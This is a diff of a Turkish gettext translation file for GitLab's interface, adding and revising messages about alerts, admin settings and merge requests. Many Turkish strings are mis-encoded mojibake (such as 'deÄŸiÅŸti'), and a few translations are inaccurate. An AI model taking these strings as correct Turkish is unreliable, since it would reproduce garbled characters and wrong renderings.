msgid "%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr ""
+msgstr "%{namespace_name} artık salt okunur. Şunları yapamazsınız: %{base_message}"
msgid "%{name} contained %{resultsString}"
msgstr "%{name} %{resultsString} ifadesini içeriyor"
@@ -584,7 +608,7 @@ msgid "%{openedIssues} open, %{closedIssues} closed"
msgstr "%{openedIssues} açık, %{closedIssues} kapalı"
msgid "%{percentage}%% weight completed"
-msgstr ""
+msgstr "%%%{percentage} ağırlık tamamlandı"
msgid "%{percent}%% complete"
msgstr "%{percent}%% tamamlandı"
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bayt"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} başarıyla Akismet'e gönderildi."
@@ -685,6 +715,9 @@ msgstr "%{start} - %{end}"
msgid "%{state} epics"
msgstr "%{state} epik"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -718,7 +751,7 @@ msgid "%{tabname} changed"
msgstr "%{tabname} deÄŸiÅŸti"
msgid "%{tags} tag per image name"
-msgstr ""
+msgstr "Resim adı başına %{tags} etiket"
msgid "%{tags} tags per image name"
msgstr "her resim adı için %{tags} etiket"
@@ -738,7 +771,7 @@ msgid "%{text} is available"
msgstr "%{text} kullanılabilir"
msgid "%{timebox_name} should belong either to a project or a group."
-msgstr ""
+msgstr "%{timebox_name} bir projeye ya da bir gruba ait olmalıdır."
msgid "%{title} %{operator} %{threshold}"
msgstr "%{title} %{operator} %{threshold}"
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight} toplam ağırlık"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} açık sorun ağırlığı"
@@ -783,7 +819,7 @@ msgid "%{value} s"
msgstr "%{value} s"
msgid "%{verb} %{time_spent_value} spent time."
-msgstr ""
+msgstr "%{verb} %{time_spent_value} zaman harcandı."
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project."
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -810,7 +864,7 @@ msgid "'%{name}' Value Stream created"
msgstr ""
msgid "'%{name}' stage already exists"
-msgstr ""
+msgstr "'%{name}' aşaması zaten var"
msgid "'%{source}' is not a import source"
msgstr ""
@@ -836,7 +890,7 @@ msgid "(check progress)"
msgstr "(ilerlemeyi kontrol et)"
msgid "(deleted)"
-msgstr ""
+msgstr "(silindi)"
msgid "(external source)"
msgstr "(dış kaynak)"
@@ -844,6 +898,9 @@ msgstr "(dış kaynak)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(silindi)"
@@ -874,7 +931,7 @@ msgid "+%{approvers} more approvers"
msgstr "+%{approvers} onaylayan daha"
msgid "+%{tags} more"
-msgstr ""
+msgstr "+%{tags} daha fazla"
msgid ", or "
msgstr ", veya "
@@ -902,7 +959,7 @@ msgid "- show less"
msgstr "- daha az göster"
msgid "0 bytes"
-msgstr ""
+msgstr "0 bayt"
msgid "0 for unlimited"
msgstr "Sınırsız için 0"
@@ -1010,7 +1067,7 @@ msgid "3 hours"
msgstr "3 saat"
msgid "30 days"
-msgstr ""
+msgstr "30 gün"
msgid "30 minutes"
msgstr "30 dakika"
@@ -1034,22 +1091,13 @@ msgid "404|Please contact your GitLab administrator if you think this is a mista
msgstr "Lütfen bunun bir hata olduğunu düşünüyorsanız, GitLab yöneticinizle görüşün."
msgid "7 days"
-msgstr ""
+msgstr "7 gün"
msgid "8 hours"
msgstr "8 saat"
msgid ":%{startLine} to %{endLine}"
-msgstr ""
-
-msgid "< 1 hour"
-msgstr "< 1 saat"
-
-msgid "<project name>"
-msgstr "<proje adı>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "Kaynak dalı <strong>siler</strong>"
+msgstr ":%{startLine} satırından %{endLine} satırına"
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr "Çatalınızdan yeni bir dal oluşturulacak ve yeni bir birleştirme tal
msgid "A new impersonation token has been created."
msgstr "Yeni bir kimliğe bürünme belirteci oluşturuldu."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "GitLab yerine CI/CD için Netlify kullanan, ancak diğer tüm GitLab özelliklerine sahip bir düz bir HTML sitesi."
@@ -1234,6 +1285,9 @@ msgstr "EriÅŸim bitiÅŸ tarihi"
msgid "Access forbidden. Check your access level."
msgstr "Erişim yasaklandı. Erişim seviyenizi kontrol edin."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "'%{classification_label}' eriÅŸimine izin verilmedi"
@@ -1345,6 +1399,9 @@ msgstr "EtkinleÅŸtir"
msgid "Activate Service Desk"
msgstr "Servis Masasını Etkinleştir"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Etkin"
@@ -1377,12 +1434,6 @@ msgstr[1] "%d sorun ekle"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "CHANGELOG ekle"
@@ -1405,13 +1456,13 @@ msgid "Add LICENSE"
msgstr "LÄ°SANS ekle"
msgid "Add New Node"
-msgstr ""
+msgstr "Yeni Bir Düğüm Ekle"
msgid "Add README"
msgstr "BENÄ°OKU ekle"
msgid "Add Variable"
-msgstr ""
+msgstr "DeÄŸiÅŸken Ekle"
msgid "Add Zoom meeting"
msgstr "Zoom toplantısı ekle"
@@ -1435,7 +1486,7 @@ msgid "Add a bullet list"
msgstr "Madde iÅŸareti listesi ekle"
msgid "Add a comment to this line"
-msgstr ""
+msgstr "Bu satıra yorum ekle"
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Bu %{noteableDisplayName} için genel bir yorum ekle."
@@ -1447,13 +1498,13 @@ msgid "Add a homepage to your wiki that contains information about your project
msgstr "Wiki'nize projeniz hakkında bilgi içeren bir ana sayfa ekleyin. GitLab bu mesaj yerine onu burada görüntüleyecektir."
msgid "Add a line"
-msgstr ""
+msgstr "Satır ekle"
msgid "Add a link"
msgstr "Bağlantı ekle"
msgid "Add a new issue"
-msgstr ""
+msgstr "Yeni sorun ekle"
msgid "Add a numbered list"
msgstr "Numaralı liste ekle"
@@ -1474,10 +1525,10 @@ msgid "Add an SSH key"
msgstr "Bir SSH anahtarı ekle"
msgid "Add an existing issue"
-msgstr ""
+msgstr "Mevcut sorunu ekle"
msgid "Add an impersonation token"
-msgstr ""
+msgstr "Kişiselleştirme erişim anahtarı ekle"
msgid "Add another link"
msgstr "Başka bir bağlantı ekle"
@@ -1486,7 +1537,7 @@ msgid "Add approval rule"
msgstr "Onay kuralı ekle"
msgid "Add approvers"
-msgstr ""
+msgstr "Onaylayan ekle"
msgid "Add bold text"
msgstr "Kalın metin ekle"
@@ -1497,11 +1548,14 @@ msgstr "Bir epiÄŸe alt epik ekle"
msgid "Add comment now"
msgstr "Åžimdi yorum ekle"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
msgid "Add domain"
-msgstr ""
+msgstr "Etki alanı ekle"
msgid "Add email address"
msgstr "E-posta adresi ekle"
@@ -1509,6 +1563,9 @@ msgstr "E-posta adresi ekle"
msgid "Add environment"
msgstr "Ortam ekle"
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "E-postalar için üstbilgi ve altbilgi ekleyin. Renk ayarları sadece uygulama arabirimi içinde uygulanacak unutmayın"
@@ -1521,6 +1578,9 @@ msgstr "Sorun ekle"
msgid "Add italic text"
msgstr "EÄŸik metin ekle"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Etiket(ler) ekleyin"
@@ -1552,7 +1612,7 @@ msgid "Add request manually"
msgstr "Ä°steÄŸi elle ekle"
msgid "Add strikethrough text"
-msgstr ""
+msgstr "Üstü çizili metin ekle"
msgid "Add suggestion to batch"
msgstr "Yığına bir öneri ekleyin."
@@ -1570,7 +1630,7 @@ msgid "Add to merge train"
msgstr "BirleÅŸtirme trenine ekle"
msgid "Add to merge train when pipeline succeeds"
-msgstr ""
+msgstr "İş hattı başarılı olduğunda birleştirme trenine ekle"
msgid "Add to review"
msgstr "Ä°ncelemeye ekle"
@@ -1591,7 +1651,7 @@ msgid "Add webhook"
msgstr "Web kancası ekle"
msgid "Add/remove"
-msgstr ""
+msgstr "Ekle/kaldır"
msgid "AddContextCommits|Add previously merged commits"
msgstr ""
@@ -1648,7 +1708,7 @@ msgid "Adds %{epic_ref} as child epic."
msgstr ""
msgid "Adds %{labels} %{label_text}."
-msgstr ""
+msgstr "%{labels} %{label_text} ekler."
msgid "Adds a To Do."
msgstr "Yapılacaklar listesi ekler."
@@ -1669,13 +1729,13 @@ msgid "Admin Note"
msgstr "Yönetici Mesajı"
msgid "Admin Notifications"
-msgstr ""
+msgstr "Yönetici Bildirimleri"
msgid "Admin Overview"
msgstr "Yönetim Genel Bakış"
msgid "Admin Section"
-msgstr ""
+msgstr "Yönetici Bölümü"
msgid "Admin mode already enabled"
msgstr "Yönetici modu zaten etkin"
@@ -1738,10 +1798,10 @@ msgid "AdminArea|Users statistics"
msgstr "Kullanıcı istatistikleri"
msgid "AdminArea|Users with highest role"
-msgstr ""
+msgstr "En yüksek role sahip kullanıcılar"
msgid "AdminArea|Users without a Group and Project"
-msgstr ""
+msgstr "Grubu ve projesi olmayan kullanıcılar"
msgid "AdminArea|You’re about to stop all jobs.This will halt all current jobs that are running."
msgstr "Bütün işleri durdurmak üzeresiniz. Bu işlem, çalışan tüm mevcut işleri durduracaktır."
@@ -1765,7 +1825,7 @@ msgid "AdminProjects|Delete project"
msgstr "Projeyi sil"
msgid "AdminSettings|Apply integration settings to all Projects"
-msgstr ""
+msgstr "Tüm projelere entegrasyon ayarlarını uygula"
msgid "AdminSettings|Auto DevOps domain"
msgstr "Otomatik DevOps etki alanı"
@@ -1780,7 +1840,7 @@ msgid "AdminSettings|Environment variables are protected by default"
msgstr "Ortam değişkenleri öntanımlı olarak korunur"
msgid "AdminSettings|Go to General Settings"
-msgstr ""
+msgstr "Genel Ayarlar'a Git"
msgid "AdminSettings|Integrations configured here will automatically apply to all projects on this instance."
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr "Bir iş hattı yapılandırma dosyası seçin"
msgid "AdminSettings|Select a template"
msgstr "Bir şablon seçin"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr "Her projenin Otomatik İnceleme Uygulamaları ve Otomatik Dağıtma aşa
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "Yeni bir ortam değişkeni oluştururken, öntanımlı olarak korunacaktır."
@@ -1918,7 +1984,7 @@ msgid "AdminUsers|External users cannot see internal or private projects unless
msgstr ""
msgid "AdminUsers|Is using seat"
-msgstr ""
+msgstr "Koltuğu kullanıyor"
msgid "AdminUsers|It's you!"
msgstr "Bu sensin!"
@@ -2042,6 +2108,9 @@ msgstr[1] "Uyarı"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "Uyarı"
@@ -2072,8 +2141,8 @@ msgstr "Atananlar"
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
-msgstr "Sorun oluÅŸtur"
+msgid "AlertManagement|Create incident"
+msgstr ""
msgid "AlertManagement|Critical"
msgstr "Kritik"
@@ -2129,9 +2198,6 @@ msgstr "Aç"
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr "Genel Bakış"
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr "Çözülmüş"
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr "Hizmet"
@@ -2186,17 +2255,14 @@ msgstr "Araç"
msgid "AlertManagement|Triggered"
msgstr "Tetiklenenler"
-msgid "AlertManagement|Unassigned"
-msgstr "Atanmamış"
-
msgid "AlertManagement|Unknown"
msgstr "Bilinmeyen"
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
-msgstr "Sorunu göster"
+msgid "AlertManagement|View incident"
+msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2301,7 +2367,7 @@ msgid "All"
msgstr "Tümü"
msgid "All %{replicableType} are being scheduled for %{action}"
-msgstr ""
+msgstr "Tüm %{replicableType}, %{action} için planlanıyor"
msgid "All (default)"
msgstr "Tümü (varsayılan)"
@@ -2324,6 +2390,9 @@ msgstr "Tüm e-posta adresleri işlemlerinizi tanımlamak için kullanılacaktı
msgid "All environments"
msgstr "Tüm ortamlar"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Tüm özellikler şablonlardan veya içe aktarırken boş projeler için etkindir, ancak daha sonra proje ayarlarında bunları devre dışı bırakabilirsiniz."
@@ -2397,7 +2466,7 @@ msgid "Allow requests to the local network from hooks and services."
msgstr "Yerel aÄŸa kanca ve servislerden gelen isteklere izin ver."
msgid "Allow requests to the local network from system hooks"
-msgstr ""
+msgstr "Sistem kancalarından yerel ağa gelen isteklere izin ver"
msgid "Allow requests to the local network from web hooks and services"
msgstr ""
@@ -2418,7 +2487,7 @@ msgid "Allow users to request access (if visibility is public or internal)"
msgstr "Kullanıcıların erişim isteğinde bulunmalarına izin ver (görünürlük genel veya dahili ise)"
msgid "Allowed"
-msgstr ""
+msgstr "Ä°zin verildi"
msgid "Allowed Geo IP"
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr "%{project_path} dizininde bir alarm tetiklendi."
@@ -2487,7 +2559,7 @@ msgid "An error has occurred"
msgstr "Bir hata oluÅŸtu"
msgid "An error occurred adding a draft to the thread."
-msgstr ""
+msgstr "Konuya taslak eklenirken bir hata oluÅŸtu."
msgid "An error occurred adding a new draft."
msgstr "Yeni taslak eklenirken bir hata oluÅŸtu."
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "DeÄŸiÅŸiklikleriniz iÅŸlenirken bir hata oluÅŸtu."
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr "Terraform raporu alınırken bir hata oluştu."
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Pano listeleri alınırken bir hata oluştu. Lütfen tekrar deneyin."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,15 +2837,18 @@ msgstr "Takvim etkinlikleri getirilirken bir hata meydana geldi"
msgid "An error occurred while retrieving diff"
msgstr "Değişiklikler yüklenirken bir hata oluştu"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
msgid "An error occurred while saving assignees"
msgstr "Vekiller kaydedilirken bir hata oluÅŸtu"
-msgid "An error occurred while saving the approval settings"
-msgstr "Onay ayarları kaydedilirken bir hata oluştu"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2786,12 +2873,18 @@ msgstr "Onaylama sırasında güncelleme yapılırken bir hata oluştu"
msgid "An error occurred while updating the comment"
msgstr "Yorum güncellenirken bir hata oluştu"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Grup yolu doğrulanırken bir hata oluştu"
msgid "An error occurred while validating username"
msgstr "Kullanıcı adı doğrulanırken bir hata oluştu"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Bir hata oluştu. Lütfen tekrar deneyin."
@@ -2870,6 +2963,9 @@ msgstr "Herhangi"
msgid "Any Author"
msgstr "Herhangi yazar"
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr "Herhangi dal"
@@ -2913,7 +3009,7 @@ msgid "Append the comment with %{shrug}"
msgstr ""
msgid "Append the comment with %{tableflip}"
-msgstr ""
+msgstr "Yorumu %{tableflip} ile ekle"
msgid "Application"
msgstr "Uygulama"
@@ -2925,7 +3021,7 @@ msgid "Application settings saved successfully"
msgstr "Uygulama ayarları başarıyla kaydedildi"
msgid "Application settings update failed"
-msgstr ""
+msgstr "Uygulama ayarları güncellemesi başarısız oldu"
msgid "Application uninstalled but failed to destroy: %{error_message}"
msgstr ""
@@ -2991,7 +3087,7 @@ msgid "Applying suggestions..."
msgstr "Öneriler uygulanıyor..."
msgid "Approval Status"
-msgstr ""
+msgstr "Onay Durumu"
msgid "Approval rules"
msgstr "Onay kuralları"
@@ -3071,7 +3167,7 @@ msgid "Approved the current merge request."
msgstr "Geçerli birleştirme talebi onaylandı."
msgid "Approved-By"
-msgstr ""
+msgstr "Tarafından onaylandı:"
msgid "Approver"
msgstr "Onaylayıcı"
@@ -3085,6 +3181,9 @@ msgstr "Nis"
msgid "April"
msgstr "Nisan"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr "ArÅŸiv"
@@ -3097,6 +3196,9 @@ msgstr "Projeyi arÅŸivle"
msgid "Archived"
msgstr "ArÅŸivlenmiÅŸ"
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "Arşivlenmiş proje! Depo ve diğer proje kaynakları sadece okunabilir özelliğe sahiptir"
@@ -3112,38 +3214,35 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "GitLab'ı bir şirket için mi kuruyorsunuz?"
-
msgid "Are you sure that you want to archive this project?"
-msgstr ""
+msgstr "Bu projeyi arÅŸivlemek istediÄŸinizden emin misiniz?"
msgid "Are you sure that you want to unarchive this project?"
-msgstr ""
+msgstr "Bu projeyi arşivden kaldırmak istediğinizden emin misiniz?"
msgid "Are you sure you want to cancel editing this comment?"
-msgstr ""
+msgstr "Bu yorumu oluşturmayı iptal etmek istediğinizden emin misiniz?"
msgid "Are you sure you want to close this blocked issue?"
msgstr ""
msgid "Are you sure you want to delete %{name}?"
-msgstr ""
+msgstr "%{name} ismini silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete these artifacts?"
-msgstr ""
+msgstr "Bu artifact'ları silmek istediğinize emin misiniz?"
msgid "Are you sure you want to delete this %{typeOfComment}?"
-msgstr ""
+msgstr "Bu %{typeOfComment} silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete this board?"
-msgstr ""
+msgstr "Bu panoyu silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
-msgstr ""
+msgstr "Bu cihazı silmek istediğinizden emin misiniz? Bu işlem geri alınamaz."
msgid "Are you sure you want to delete this list?"
-msgstr ""
+msgstr "Bu listeyi silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Bu iş hattı planını silmek istediğinizden emin misiniz?"
@@ -3223,26 +3322,23 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
-msgstr "Emin misiniz? Cihazdaki GitLab oturumu kapatılacak."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr "Emin misiniz? Bu, kayıtlı uygulamalarınızı ve U2F cihazlarınızı geçersiz kılar."
msgid "Arrange charts"
-msgstr ""
+msgstr "Grafikleri düzenle"
msgid "Artifact"
-msgstr ""
-
-msgid "Artifact ID"
-msgstr "Yapı Kimliği"
+msgstr "Artifact"
msgid "Artifact could not be deleted."
-msgstr ""
+msgstr "Artifact silinemedi."
msgid "Artifact was successfully deleted."
-msgstr ""
+msgstr "Artifact başarıyla silindi."
msgid "Artifacts"
msgstr "Yapılar"
@@ -3250,6 +3346,9 @@ msgstr "Yapılar"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user}, %{project_name} projesinin %{branch} dalına yolladı ( %{commit_url} ):"
@@ -3352,7 +3451,7 @@ msgid "Assignees"
msgstr "Atananlar"
msgid "Assigns %{assignee_users_sentence}."
-msgstr ""
+msgstr "%{assignee_users_sentence} atar."
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
@@ -3370,7 +3469,7 @@ msgid "At least one of your Personal Access Tokens will expire soon, but expirat
msgstr ""
msgid "At risk"
-msgstr ""
+msgstr "Riskli"
msgid "Attach a file"
msgstr "Bir dosya ekle"
@@ -3509,7 +3608,7 @@ msgstr "Yetki Ver"
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Let's Encrypt kullanarak otomatik sertifika yönetimi"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Bu grubun rozeti yok"
msgid "Badges|This project has no badges"
msgstr "Bu projenin rozeti yok"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Bu rozeti sileceksiniz. Silinen rozetler geri <strong>yüklenemez</strong>."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Rozetleriniz"
@@ -3827,6 +3929,9 @@ msgstr "aylık"
msgid "BillingPlans|per user"
msgstr "kullanıcı başına"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "Yükselt"
@@ -3896,13 +4001,16 @@ msgstr "GeniÅŸlet"
msgid "Boards|View scope"
msgstr "Kapsamı görüntüle"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Dal"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "Bu projenin deposunda %{branchName} dalı bulunamadı."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr "Açık sorunlar"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "Ä°ÅŸ"
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Ä°ptal"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "Çalışmayı iptal et"
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr "Bu projede sorunlar bulunmadığı için içe aktarılamıyor."
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ".gitlab-ci.yml'nizi kontrol edin"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,8 +4853,8 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Görünürlük seviyesini seçin, proje özelliklerini etkinleştirin/devre dışı bırakın (sorunlar, depo, wiki, parçacıklar) ve izinleri ayarlayın."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Bir grubun genel bakış sayfasında hangi içeriği görmek istediğinizi seçin"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr ""
@@ -4910,9 +5021,15 @@ msgstr "kullanılamıyor: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "Temizle"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Kapalı"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Kapalı sorunlar"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
